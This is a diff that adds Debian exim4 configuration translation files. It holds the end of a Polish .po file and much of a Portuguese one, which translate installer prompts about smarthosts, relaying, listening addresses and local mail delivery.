+"pocztę wychodzącą z tego systemu. Jeśli przyjmuje on pocztę na porcie innym "
+"niż TCP/25, podaj też numer portu po dwóch dwukropkach (na przykład poczta."
+"przyklad.pl::587 lub 192.168.254.254::2525). Należy także podwoić dwukropki "
+"w adresach IPv6."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:8001
+msgid ""
+"If the smarthost requires authentication, please refer to the Debian-"
+"specific README files in /usr/share/doc/exim4-base for notes about setting "
+"up SMTP authentication."
+msgstr ""
+"Jeżeli pośrednik wymaga uwierzytelniania, proszę zapoznać się z Debianowymi "
+"plikami README w /usr/share/doc/exim4-base, które zawierają uwagi na temat "
+"konfiguracji uwierzytelniania."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:9001
+msgid "Root and postmaster mail recipient:"
+msgstr "Odbiorca poczty dla kont root i postmaster:"
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:9001
+msgid ""
+"Mail for the 'postmaster', 'root', and other system accounts needs to be "
+"redirected to the user account of the actual system administrator."
+msgstr ""
+"Poczta dla użytkowników \"postmaster\", \"root\" i innych kont systemowych "
+"powinna być przekazywana na właściwe konto użytkownika, który jest "
+"administratorem."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:9001
+msgid ""
+"If this value is left empty, such mail will be saved in /var/mail/mail, "
+"which is not recommended."
+msgstr ""
+"Jeśli zostawisz tą wartość pustą, poczta ta będzie zapisywana w /var/mail/"
+"mail, co nie jest zalecane."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:9001
+msgid ""
+"Note that postmaster's mail should be read on the system to which it is "
+"directed, rather than being forwarded elsewhere, so (at least one of) the "
+"users listed here should not redirect their mail off this machine. A 'real-' "
+"prefix can be used to force local delivery."
+msgstr ""
+"Poczty dla \"postmastera\" nie powinno się przesyłać do innego systemu, "
+"tylko czytać lokalnie. Dlatego conajmniej jeden z podanych użytkowników nie "
+"powinien przekierowywać poczty na inny komputer. Aby wymusić lokalne "
+"dostarczanie można użyć przedrostka \"real-\"."
+
+# Tak chyba lepiej niż kombinowanie z "Wiele nazw [...]"
+#. Type: string
+#. Description
+#: ../exim4-config.templates:9001
+msgid "Multiple user names need to be separated by spaces."
+msgstr "Wprowadź jedną lub kilka nazw użytkowników, rozdzielone spacjami."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:10001
+msgid "IP-addresses to listen on for incoming SMTP connections:"
+msgstr "Adresy IP, na których nasłuchiwać nadchodzących połączeń:"
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:10001
+msgid ""
+"Please enter a semicolon-separated list of IP addresses. The Exim SMTP "
+"listener daemon will listen on all IP addresses listed here."
+msgstr ""
+"Wprowadź rozdzieloną średnikami listę adresów IP. Daemon SMTP Exima będzie "
+"nasłuchiwał na wszystkich tych adresach."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:10001
+msgid ""
+"An empty value will cause Exim to listen for connections on all available "
+"network interfaces."
+msgstr ""
+"Pusta wartość spowoduje, że Exim będzie nasłuchiwał na wszystkich dostępnych "
+"interfejsach sieciowych."
+
+# To tłumaczenie nieco odbiega od oryginału, ale jest IMHO znacznie mniej
+# zawiłe, a niesie tyle samo treści.
+#. Type: string
+#. Description
+#: ../exim4-config.templates:10001
+msgid ""
+"If this system only receives mail directly from local services (and not from "
+"other hosts), it is suggested to prohibit external connections to the local "
+"Exim daemon. Such services include e-mail programs (MUAs) which talk to "
+"localhost only as well as fetchmail. External connections are impossible "
+"when 127.0.0.1 is entered here, as this will disable listening on public "
+"network interfaces."
+msgstr ""
+"Jeżeli ten komputer otrzymuje pocztę wyłącznie od lokalnych usług, takich "
+"jak programy pocztowe lub fetchmail (a nie od innych komputerów), zaleca się "
+"zabronić połączeń z zewnątrz do lokalnego serwera Exim. Jeśli podasz tu "
+"tylko adres 127.0.0.1, połączenia do Exima z zewnątrz nie będą możliwe."
+
+#. Type: boolean
+#. Description
+#: ../exim4-config.templates:11001
+msgid "Keep number of DNS-queries minimal (Dial-on-Demand)?"
+msgstr ""
+"Utrzymywać ilość zapytań DNS na minimalnym poziomie (dzwonienie na żądanie)? "
+
+#. Type: boolean
+#. Description
+#: ../exim4-config.templates:11001
+msgid ""
+"In normal mode of operation Exim does DNS lookups at startup, and when "
+"receiving or delivering messages. This is for logging purposes and allows "
+"keeping down the number of hard-coded values in the configuration."
+msgstr ""
+"W normalnym trybie pracy Exim wykonuje zapytania DNS podczas startu, "
+"otrzymywania i dostarczania poczty, w celach logowania zdarzeń. Umożliwia to "
+"też ograniczenie ilości sztywnych wartości w plikach konfiguracji."
+
+#. Type: boolean
+#. Description
+#: ../exim4-config.templates:11001
+msgid ""
+"If this system does not have a DNS full service resolver available at all "
+"times (for example if its Internet access is a dial-up line using dial-on-"
+"demand), this might have unwanted consequences. For example, starting up "
+"Exim or running the queue (even with no messages waiting) might trigger a "
+"costly dial-up-event."
+msgstr ""
+"Na systemach bez stałego dostępu do serwera DNS (na przykład używających "
+"\"dzwonienia na żądanie\"), może to powodować niechciane konsekwencje. Dla "
+"przykładu, uruchomienie Exima lub kolejki (nawet bez oczekujących "
+"wiadomości) może wywołać wdzwanianie do ISP."
+
+#. Type: boolean
+#. Description
+#: ../exim4-config.templates:11001
+msgid ""
+"This option should be selected if this system is using Dial-on-Demand. If it "
+"has always-on Internet access, this option should be disabled."
+msgstr ""
+"Należy wybrać tą opcję jeśli system używa \"dzwonienia na żądanie\". Jeśli "
+"dostęp do Internetu jest stały, opcję tą należy wyłączyć."
+
+#. Type: title
+#. Description
+#: ../exim4-config.templates:12001
+msgid "Mail Server configuration"
+msgstr "Konfiguracja serwera poczty"
+
+#. Type: boolean
+#. Description
+#: ../exim4-config.templates:13001
+msgid "Split configuration into small files?"
+msgstr "Podzielić konfigurację na małe pliki?"
+
+#. Type: boolean
+#. Description
+#: ../exim4-config.templates:13001
+msgid ""
+"The Debian exim4 packages can either use 'unsplit configuration', a single "
+"monolithic file (/etc/exim4/exim4.conf.template) or 'split configuration', "
+"where the actual Exim configuration files are built from about 50 smaller "
+"files in /etc/exim4/conf.d/."
+msgstr ""
+"Debianowe pakiety exima4 mogą używać \"zwartej konfiguracji\", czyli "
+"pojedynczego pliku konfiguracyjnego /etc/exim4/exim4.conf.template, albo "
+"\"podzielonej konfiguracji\", gdzie do właściwa konfiguracja jest budowana z "
+"około 50 mniejszych plików w /etc/exim4/conf.d/."
+
+#. Type: boolean
+#. Description
+#: ../exim4-config.templates:13001
+msgid ""
+"Unsplit configuration is better suited for large modifications and is "
+"generally more stable, whereas split configuration offers a comfortable way "
+"to make smaller modifications but is more fragile and might break if "
+"modified carelessly."
+msgstr ""
+"\"Zwarta konfiguracja\" nadaje siÄ™ lepiej do obszernych modyfikacji i jest "
+"ogólnie bardziej stabilna, natomiast \"podzielona konfiguracja\" daje "
+"możliwość wygodnego wprowadzania niewielkich modyfikacji, przy czym jest "
+"bardziej krucha i łatwiej ją popsuć przy nieostrożnych zmianach."
+
+#. Type: boolean
+#. Description
+#: ../exim4-config.templates:13001
+msgid ""
+"A more detailed discussion of split and unsplit configuration can be found "
+"in the Debian-specific README files in /usr/share/doc/exim4-base."
+msgstr ""
+"Więcej informacji na temat obu typów konfiguracji można znaleźć w plikach "
+"README Debiana w /usr/share/doc/exim4-base."
+
+#. Type: boolean
+#. Description
+#: ../exim4-config.templates:14001
+msgid "Hide local mail name in outgoing mail?"
+msgstr "Ukrywać lokalną nazwę w wychodzącej poczcie?"
+
+#. Type: boolean
+#. Description
+#: ../exim4-config.templates:14001
+msgid ""
+"The headers of outgoing mail can be rewritten to make it appear to have been "
+"generated on a different system. If this option is chosen, '${mailname}', "
+"'localhost' and '${dc_other_hostnames}' in From, Reply-To, Sender and Return-"
+"Path are rewritten."
+msgstr ""
+"Nagłówki wychodzącej poczty mogą być przepisywane, aby sprawić wrażenie, że "
+"pochodzi ona z innego komputera. Jeśli wybierzesz tą opcję, podmieniane będą "
+"\"${mailname}\", \"localhost\" oraz \"${dc_other_hostnames}\" w nagłówkach "
+"From, Reply-To, Sender oraz Return-Path."
+
+#. Type: select
+#. Choices
+#: ../exim4-config.templates:15001
+msgid "mbox format in /var/mail/"
+msgstr "format mbox w /var/mail/"
+
+#. Type: select
+#. Choices
+#: ../exim4-config.templates:15001
+msgid "Maildir format in home directory"
+msgstr "Format Maildir w katalogu domowym"
+
+#. Type: select
+#. Description
+#: ../exim4-config.templates:15002
+msgid "Delivery method for local mail:"
+msgstr "Format dostarczania poczty lokalnie:"
+
+#. Type: select
+#. Description
+#: ../exim4-config.templates:15002
+msgid ""
+"Exim is able to store locally delivered email in different formats. The most "
+"commonly used ones are mbox and Maildir. mbox uses a single file for the "
+"complete mail folder stored in /var/mail/. With Maildir format every single "
+"message is stored in a separate file in ~/Maildir/."
+msgstr ""
+"Exim może dostarczać pocztę w różnych formatach. Dwa najpopularniejsze to "
+"mbox i Maildir. W formacie mbox, każda skrzynka to jeden plik w katalogu /"
+"var/mail/. W formacie Maildir, każda wiadomość jest w osobnym pliku w ~/"
+"Maildir/."
+
+#. Type: select
+#. Description
+#: ../exim4-config.templates:15002
+msgid ""
+"Please note that most mail tools in Debian expect the local delivery method "
+"to be mbox in their default."
+msgstr ""
+"Należy pamiętać, że większość narzędzi pocztowych w Debianie domyślnie "
+"zakłada, że poczta jest dostarczana w formacie mbox."
diff --git a/debian/po/pt.po b/debian/po/pt.po
new file mode 100644
index 0000000..eae311c
--- /dev/null
+++ b/debian/po/pt.po
@@ -0,0 +1,888 @@
+# Portuguese (Portugal) Translation Project (traduz@debianpt.org)
+# Nuno Sénica <njs@av.it.pt>, 2004-2005
+# Miguel Figueiredo <elmig@debianpt.org>, 2005, 2006, 2007.
+#
+msgid ""
+msgstr ""
+"Project-Id-Version: exim4-config 4.30-7\n"
+"Report-Msgid-Bugs-To: pkg-exim4-maintainers@lists.alioth.debian.org\n"
+"POT-Creation-Date: 2007-07-18 08:29+0200\n"
+"PO-Revision-Date: 2007-10-06 09:59+0100\n"
+"Last-Translator: Miguel Figueiredo <elmig@debianpt.org>\n"
+"Language-Team: Portuguese <traduz@debianpt.org>\n"
+"Language: pt\n"
+"MIME-Version: 1.0\n"
+"Content-Type: text/plain; charset=UTF-8\n"
+"Content-Transfer-Encoding: 8bit\n"
+
+#. Type: boolean
+#. Description
+#: ../exim4-base.templates:1001
+msgid "Remove undelivered messages in spool directory?"
+msgstr "Remover mensagens não entregues no directório de spool?"
+
+#. Type: boolean
+#. Description
+#: ../exim4-base.templates:1001
+msgid ""
+"There are e-mail messages in the Exim spool directory /var/spool/exim4/"
+"input/ which have not yet been delivered. Removing Exim will cause them to "
+"remain undelivered until Exim is re-installed."
+msgstr ""
+"Existem mensagens de e-mail no directório de spool do Exim /var/spool/exim4/"
+"input/ que ainda não foram entregues. Remover o Exim irá fazer com que "
+"fiquem por entregar até o Exim ser reinstalado."
+
+#. Type: boolean
+#. Description
+#: ../exim4-base.templates:1001
+msgid ""
+"If this option is not chosen, the spool directory is kept, allowing the "
+"messages in the queue to be delivered at a later date after Exim is re-"
+"installed."
+msgstr ""
+"Se esta opção não for escolhida, o directório de spool é mantido, permitindo "
+"que as mensagens na fila de espera sejam entregues posteriormente após o "
+"Exim ser reinstalado."
+
+#. Type: error
+#. Description
+#: ../exim4-base.templates:2001 ../exim4-daemon-heavy.templates:1001
+#: ../exim4-daemon-light.templates:1001 ../exim4.templates:1001
+msgid "Reconfigure exim4-config instead of this package"
+msgstr "Reconfigurar exim4-config em vez deste pacote"
+
+#. Type: error
+#. Description
+#: ../exim4-base.templates:2001 ../exim4-daemon-heavy.templates:1001
+#: ../exim4-daemon-light.templates:1001 ../exim4.templates:1001
+msgid ""
+"Exim4 has its configuration factored out into a dedicated package, exim4-"
+"config. To reconfigure Exim4, use 'dpkg-reconfigure exim4-config'."
+msgstr ""
+"O Exim4 tem a sua configuração num pacote dedicado, o exim4-config. Para "
+"reconfigurar o Exim4, utilize 'dpkg-reconfigure exim4-config'."
+
+#. Type: select
+#. Choices
+#. Translators beware! the following six strings form a single
+#. Choices menu. - Every one of these strings has to fit in a standard
+#. 80 characters console, as the fancy screen setup takes up some space
+#. try to keep below ~71 characters.
+#. DO NOT USE commas (,) in Choices translations otherwise
+#. this will break the choices shown to users
+#: ../exim4-config.templates:1001
+msgid "internet site; mail is sent and received directly using SMTP"
+msgstr "site internet; o mail é enviado e recebido usando SMTP"
+
+#. Type: select
+#. Choices
+#. Translators beware! the following six strings form a single
+#. Choices menu. - Every one of these strings has to fit in a standard
+#. 80 characters console, as the fancy screen setup takes up some space
+#. try to keep below ~71 characters.
+#. DO NOT USE commas (,) in Choices translations otherwise
+#. this will break the choices shown to users
+#: ../exim4-config.templates:1001
+msgid "mail sent by smarthost; received via SMTP or fetchmail"
+msgstr "mail enviado por smarthost; recebido por SMTP ou fetchmail"
+
+#. Type: select
+#. Choices
+#. Translators beware! the following six strings form a single
+#. Choices menu. - Every one of these strings has to fit in a standard
+#. 80 characters console, as the fancy screen setup takes up some space
+#. try to keep below ~71 characters.
+#. DO NOT USE commas (,) in Choices translations otherwise
+#. this will break the choices shown to users
+#: ../exim4-config.templates:1001
+msgid "mail sent by smarthost; no local mail"
+msgstr "mail enviado por smarthost; não existe mail local"
+
+#. Type: select
+#. Choices
+#. Translators beware! the following six strings form a single
+#. Choices menu. - Every one of these strings has to fit in a standard
+#. 80 characters console, as the fancy screen setup takes up some space
+#. try to keep below ~71 characters.
+#. DO NOT USE commas (,) in Choices translations otherwise
+#. this will break the choices shown to users
+#: ../exim4-config.templates:1001
+msgid "local delivery only; not on a network"
+msgstr "apenas entrega local; não se encontra numa rede"
+
+#. Type: select
+#. Choices
+#. Translators beware! the following six strings form a single
+#. Choices menu. - Every one of these strings has to fit in a standard
+#. 80 characters console, as the fancy screen setup takes up some space
+#. try to keep below ~71 characters.
+#. DO NOT USE commas (,) in Choices translations otherwise
+#. this will break the choices shown to users
+#: ../exim4-config.templates:1001
+msgid "no configuration at this time"
+msgstr "não configurar neste momento."
+
+#. Type: select
+#. Description
+#: ../exim4-config.templates:1002
+msgid "General type of mail configuration:"
+msgstr "Tipo geral de configuração de mail:"
+
+#. Type: select
+#. Description
+#: ../exim4-config.templates:1002
+msgid ""
+"Please select the mail server configuration type that best meets your needs."
+msgstr ""
+"Por favor escolha o tipo de configuração do servidor de mail que melhor se "
+"adequa às suas necessidades."
+
+#. Type: select
+#. Description
+#: ../exim4-config.templates:1002
+msgid ""
+"Systems with dynamic IP addresses, including dialup systems, should "
+"generally be configured to send outgoing mail to another machine, called a "
+"'smarthost' for delivery because many receiving systems on the Internet "
+"block incoming mail from dynamic IP addresses as spam protection."
+msgstr ""
+"Sistemas com endereços IP dinâmicos, incluindo sistemas de acesso telefónico "
+"geralmente devem ser configurados para enviar mails para outra máquina, "
+"chamada de \"smart host\", para entrega porque na Internet muitos sistemas "
+"que recebem mail bloqueiam mail vindo de IPs dinâmicos como protecção contra "
+"spam."
+
+#. Type: select
+#. Description
+#: ../exim4-config.templates:1002
+msgid ""
+"A system with a dynamic IP address can receive its own mail, or local "
+"delivery can be disabled entirely (except mail for root and postmaster)."
+msgstr ""
+"Um sistema com um endereço de IP dinâmico pode receber o seu próprio mail, "
+"ou a entrega local pode ser completamente desligada (excepto mail para o "
+"root e para o postmaster)."
+
+#. Type: boolean
+#. Description
+#: ../exim4-config.templates:2001
+msgid "Really leave the mail system unconfigured?"
+msgstr "Pretende deixar o sistema de mail não configurado?"
+
+#. Type: boolean
+#. Description
+#: ../exim4-config.templates:2001
+msgid ""
+"Until the mail system is configured, it will be broken and cannot be used. "
+"Configuration at a later time can be done either by hand or by running 'dpkg-"
+"reconfigure exim4-config' as root."
+msgstr ""
+"Até o sistema de mail ser configurado, estará não-funcional e não poderá ser "
+"utilizado. Poderá sempre configurá-lo mais tarde manualmente ou como root "
+"executar o comando 'dpkg-reconfigure exim4-config'."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:3001
+msgid "System mail name:"
+msgstr "Nome do sistema de mail:"
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:3001
+msgid ""
+"The 'mail name' is the domain name used to 'qualify' mail addresses without "
+"a domain name."
+msgstr ""
+"O 'mail name' é o nome do domínio utilizado para 'qualificar' endereços de "
+"mail sem um nome de domínio."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:3001
+msgid ""
+"This name will also be used by other programs. It should be the single, "
+"fully qualified domain name (FQDN)."
+msgstr ""
+"Este nome será também utilizado por outros programas; deverá ser um nome de "
+"domínio totalmente qualificado (FQDN) e único."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:3001
+msgid ""
+"Thus, if a mail address on the local host is foo@example.org, the correct "
+"value for this option would be example.org."
+msgstr ""
+"Por isso, se um endereço de mail no host local for foo@exemplo.org, então o "
+"valor correcto para esta opção será exemplo.org."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:3001
+msgid ""
+"This name won't appear on From: lines of outgoing messages if rewriting is "
+"enabled."
+msgstr ""
+"Este nome não irá aparecer nas linhas From: dos mails a enviar se estiver "
+"activada a reescrita."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:4001
+msgid "Other destinations for which mail is accepted:"
+msgstr "Outros destinos para os quais o mail deve ser aceite:"
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:4001
+msgid ""
+"Please enter a semicolon-separated list of recipient domains for which this "
+"machine should consider itself the final destination. These domains are "
+"commonly called 'local domains'. The local hostname (${fqdn}) and "
+"'localhost' are always added to the list given here."
+msgstr ""
+"Por favor introduza uma lista, separada por pontos-e-vírgula, de domínios de "
+"destino para os quais esta máquina deve considerar-se como sendo o destino "
+"final. Estes domínios são normalmente chamados de 'domínios locais'. O nome "
+"local da máquina (hostname) {${fqdn}) e 'localhost' são sempre acrescentados "
+"à lista dada aqui."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:4001
+msgid ""
+"By default all local domains will be treated identically. If both a.example "
+"and b.example are local domains, acc@a.example and acc@b.example will be "
+"delivered to the same final destination. If different domain names should be "
+"treated differently, it is necessary to edit the config files afterwards."
+msgstr ""
+"Por omissão todos os domínios serão tratados de forma idêntica. Se ambos os "
+"domínios a.exemplo e b.exemplo forem locais, acc@a.exemplo e acc@b.exemplo "
+"serão entregues no mesmo destino final. Se diferentes nomes de domínios "
+"devem ser tratados de forma diferente, é necessário posteriormente editar os "
+"ficheiros de configuração."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:5001
+msgid "Domains to relay mail for:"
+msgstr "Domínios para os quais fazer relay:"
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:5001
+msgid ""
+"Please enter a semicolon-separated list of recipient domains for which this "
+"system will relay mail, for example as a fallback MX or mail gateway. This "
+"means that this system will accept mail for these domains from anywhere on "
+"the Internet and deliver them according to local delivery rules."
+msgstr ""
+"Por favor introduza uma lista separada por ponto-e-vírgula de de domínios de "
+"destino para os quais este sistema irá fazer relay ao mail, por exemplo como "
+"MX de recurso ou gateway de mail. Isto significa que este sistema irá "
+"aceitar mail para estes domínios de qualquer lado da Internet e entregá-lo "
+"de acordo com as regras de entrega local."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:5001
+msgid "Do not mention local domains here. Wildcards may be used."
+msgstr "Não mencione aqui domínios locais. Podem ser utilizados wildcards."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:6001
+msgid "Machines to relay mail for:"
+msgstr "Máquinas para as quais fazer relay:"
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:6001
+msgid ""
+"Please enter a semicolon-separated list of IP address ranges for which this "
+"system will unconditionally relay mail, functioning as a smarthost."
+msgstr ""
+"Por favor introduza uma lista de gamas de endereços IP separada por ponto-e-"
+"vírgula para a qual este sistema irá incondicionalmente fazer relay ao mail, "
+"funcionando como um 'smarthost'."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:6001
+msgid ""
+"You should use the standard address/prefix format (e.g. 194.222.242.0/24 or "
+"5f03:1200:836f::/48)."
+msgstr ""
+"Você deve utilizar o formato padrão endereço/máscara (e.g. 194.222.242.0/24) "
+"ou 5f03:1200:836f::/48)."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:6001
+msgid ""
+"If this system should not be a smarthost for any other host, leave this list "
+"blank."
+msgstr ""
+"Se este sistema não deve ser um 'smart host' para qualquer outra máquina, "
+"deixe esta lista vazia."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:7001
+msgid "Visible domain name for local users:"
+msgstr "Nome de domínio visível para os utilizadores locais:"
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:7001
+msgid ""
+"The option to hide the local mail name in outgoing mail was enabled. It is "
+"therefore necessary to specify the domain name this system should use for "
+"the domain part of local users' sender addresses."
+msgstr ""
+"Foi habilitada a opção para esconder o nome de mail local no mail que é "
+"enviado. É por isso necessário especificar o nome do domínio que este "
+"sistema deve utilizar para a parte do domínio dos endereços de envio dos "
+"utilizadores locais."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:8001
+msgid "IP address or host name of the outgoing smarthost:"
+msgstr "Endereço IP ou nome da máquina 'smart host' de saída:"
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:8001
+msgid ""
+"Please enter the IP address or the host name of a mail server that this "
+"system should use as outgoing smarthost. If the smarthost only accepts your "
+"mail on a port different from TCP/25, append two colons and the port number "
+"(for example smarthost.example::587 or 192.168.254.254::2525). Colons in "
+"IPv6 addresses need to be doubled."
+msgstr ""
+"Por favor introduza o endereço IP ou o nome da máquina de um servidor de "
+"mail que este sistema deva utilizar como 'smart host' de saída. Se o 'smart "
+"host' apenas aceitar o seu mail num port diferente do TCP/25, acrescente "
+"dois dois-pontos e o número do port (por exemplo smarthost.exemplo::587 ou "
+"192.168.254.254::2525). Dois-pontos têm de ser o dobro em endereços IPv6."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:8001
+msgid ""
+"If the smarthost requires authentication, please refer to the Debian-"
+"specific README files in /usr/share/doc/exim4-base for notes about setting "
+"up SMTP authentication."
+msgstr ""
+"Se o 'smarthost' necessitar de autenticação, por favor consulte os ficheiros "
+"README específicos de Debian em /usr/share/doc/exim4-base para notas acerca "
+"da configuração de autenticação SMTP."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:9001
+msgid "Root and postmaster mail recipient:"
+msgstr "Destinatário do mail para root e postmaster:"
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:9001
+msgid ""
+"Mail for the 'postmaster', 'root', and other system accounts needs to be "
+"redirected to the user account of the actual system administrator."
+msgstr ""
+"Mail para o 'postmaster', 'root', e outras contas de sistema necessitam ser "
+"redireccionadas para a conta de utilizador do administrador do sistema."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:9001
+msgid ""
+"If this value is left empty, such mail will be saved in /var/mail/mail, "
+"which is not recommended."
+msgstr ""
+"Se este valor for deixado em branco, esse mail será guardado em /var/mail/"
+"mail. O que não é recomendado."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:9001
+msgid ""
+"Note that postmaster's mail should be read on the system to which it is "
+"directed, rather than being forwarded elsewhere, so (at least one of) the "
+"users listed here should not redirect their mail off this machine. A 'real-' "
+"prefix can be used to force local delivery."
+msgstr ""
+"Note que o mail para o postmaster deve ser lido no sistema para o qual é "
+"direccionado, em vez de ser encaminhado para qualquer outro sitio, portanto "
+"os (pelo menos um dos) utilizadores aqui listados não devem redireccionar o "
+"seu mail para fora desta máquina. Um prefixo 'real' pode ser utilizado para "
+"forçar a entrega local."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:9001
+msgid "Multiple user names need to be separated by spaces."
+msgstr "Vários nomes de utilizador têm de separados por espaços."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:10001
+msgid "IP-addresses to listen on for incoming SMTP connections:"
+msgstr "Lista de endereços IP nos quais escutar por ligações SMTP:"
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:10001
+msgid ""
+"Please enter a semicolon-separated list of IP addresses. The Exim SMTP "
+"listener daemon will listen on all IP addresses listed here."
+msgstr ""
+"Por favor introduza uma lista de endereços IP separados por ponto-e-vírgula. "
+"O daemon de escuta SMTP Exim irá escutar todos os endereços IP aqui listados."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:10001
+msgid ""
+"An empty value will cause Exim to listen for connections on all available "
+"network interfaces."
+msgstr ""
+"Um valor vazio irá fazer com que o Exim escute ligações em todos os "
+"interfaces de rede disponíveis."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:10001
+msgid ""
+"If this system only receives mail directly from local services (and not from "
+"other hosts), it is suggested to prohibit external connections to the local "
+"Exim daemon. Such services include e-mail programs (MUAs) which talk to "
+"localhost only as well as fetchmail. External connections are impossible "
+"when 127.0.0.1 is entered here, as this will disable listening on public "
+"network interfaces."
+msgstr ""
+"Se este sistema apenas receber mail directamente de serviços locais (e não "
+"de outras máquinas), é sugerido proibir as ligações externas ao daemon local "
+"do Exim. Tais serviços incluem programas de e-mail (MUAs) que apenas "
+"comunicam com o localhost assim como o fetchmail. As ligações externas são "
+"impossíveis quanto é introduzido 127.0.0.1 aqui, já que isto irá desabilitar "
+"a escuta nos interfaces públicos de rede."
+
+#. Type: boolean
+#. Description
+#: ../exim4-config.templates:11001
+msgid "Keep number of DNS-queries minimal (Dial-on-Demand)?"
+msgstr "Manter o número de pesquisas DNS mínimas (Dial-on-Demand)?"
+
+#. Type: boolean
+#. Description
+#: ../exim4-config.templates:11001
+msgid ""
+"In normal mode of operation Exim does DNS lookups at startup, and when "
+"receiving or delivering messages. This is for logging purposes and allows "
+"keeping down the number of hard-coded values in the configuration."
+msgstr ""
+"No modo normal de operação o Exim executa pesquisas DNS no arranque, e "
+"quando recebe ou entrega mensagens. Para propósitos de logging e para manter "
+"baixo o número de valores fixos na configuração."
+
+#. Type: boolean
+#. Description
+#: ../exim4-config.templates:11001
+msgid ""
+"If this system does not have a DNS full service resolver available at all "
+"times (for example if its Internet access is a dial-up line using dial-on-"
+"demand), this might have unwanted consequences. For example, starting up "
+"Exim or running the queue (even with no messages waiting) might trigger a "
+"costly dial-up-event."
+msgstr ""
+"Se este sistema não tem um resolver de DNS permanentemente disponível (por "
+"exemplo se o seu acesso à Internet é uma ligação dial-up que utiliza dial-on-"
+"demand, isto pode ter consequências indesejadas. Por exemplo, iniciar o Exim "
+"ou correr a lista de espera (mesmo sem mensagens em espera) pode activar um "
+"evento de pedido que envolvesse custos telefónicos."
+
+#. Type: boolean
+#. Description
+#: ../exim4-config.templates:11001
+msgid ""
+"This option should be selected if this system is using Dial-on-Demand. If it "
+"has always-on Internet access, this option should be disabled."
+msgstr ""
+"Esta opção deve ser escolhida se este sistema está a utilizar Dial-on-"
+"Demand. Se tiver sempre acesso à Internet, esta opção deve ser desligada."
+
+#. Type: title
+#. Description
+#: ../exim4-config.templates:12001
+msgid "Mail Server configuration"
+msgstr "Configuração do Servidor de Mail"
+
+#. Type: boolean
+#. Description
+#: ../exim4-config.templates:13001
+msgid "Split configuration into small files?"
+msgstr "Dividir a configuração em pequenos ficheiros?"
+
+#. Type: boolean
+#. Description
+#: ../exim4-config.templates:13001
+msgid ""
+"The Debian exim4 packages can either use 'unsplit configuration', a single "
+"monolithic file (/etc/exim4/exim4.conf.template) or 'split configuration', "
+"where the actual Exim configuration files are built from about 50 smaller "
+"files in /etc/exim4/conf.d/."
+msgstr ""
+"Os pacotes Debian do exim4 podem usar quer uma 'configuração não-dividida', "
+"que consiste num único ficheiro monolítico (/etc/exim4/exim4.conf.template) "
+"ou uma 'configuração dividida', onde os verdadeiros ficheiros de "
+"configuração são construídos a partir de cerca de 50 pequenos ficheiros em /"
+"etc/exim4/conf.d/."
+
+#. Type: boolean
+#. Description
+#: ../exim4-config.templates:13001
+msgid ""
+"Unsplit configuration is better suited for large modifications and is "
+"generally more stable, whereas split configuration offers a comfortable way "
+"to make smaller modifications but is more fragile and might break if "
+"modified carelessly."
+msgstr ""
+"A configuração singular é mais apropriada para grandes modificações e é "
+"geralmente mais estável, enquanto que a configuração dividida oferece uma "
+"forma mais confortável de fazer pequenas modificações mas é mais frágil e "
+"pode perder consistência se for modificada sem cuidado."
+
+#. Type: boolean
+#. Description
+#: ../exim4-config.templates:13001
+msgid ""
+"A more detailed discussion of split and unsplit configuration can be found "
+"in the Debian-specific README files in /usr/share/doc/exim4-base."
+msgstr ""
+"Pode ser encontrada uma discussão mais detalhada acerca da configuração "
+"dividida e não-dividida em /usr/share/doc/exim4-base."
+
+#. Type: boolean
+#. Description
+#: ../exim4-config.templates:14001
+msgid "Hide local mail name in outgoing mail?"
+msgstr "Esconder o nome de mail local no mail a enviar?"
+
+#. Type: boolean
+#. Description
+#: ../exim4-config.templates:14001
+msgid ""
+"The headers of outgoing mail can be rewritten to make it appear to have been "
+"generated on a different system. If this option is chosen, '${mailname}', "
+"'localhost' and '${dc_other_hostnames}' in From, Reply-To, Sender and Return-"
+"Path are rewritten."
+msgstr ""
+"Os cabeçalhos do mail a enviar podem ser re-escritos para parecerem que "
+"foram gerados num sistema diferente. Se esta opção for escolhida são re-"
+"escritos '${mailname}' 'localhost' e '${dc_other_hostnames}' nos campos "
+"From, Reply-To, Sender e Return-Path."
+
+#. Type: select
+#. Choices
+#: ../exim4-config.templates:15001
+msgid "mbox format in /var/mail/"
+msgstr "formato mbox em /var/mail/"
+
+#. Type: select
+#. Choices
+#: ../exim4-config.templates:15001
+msgid "Maildir format in home directory"
+msgstr "Formato Maildir no directório home"
+
+#. Type: select
+#. Description
+#: ../exim4-config.templates:15002
+msgid "Delivery method for local mail:"
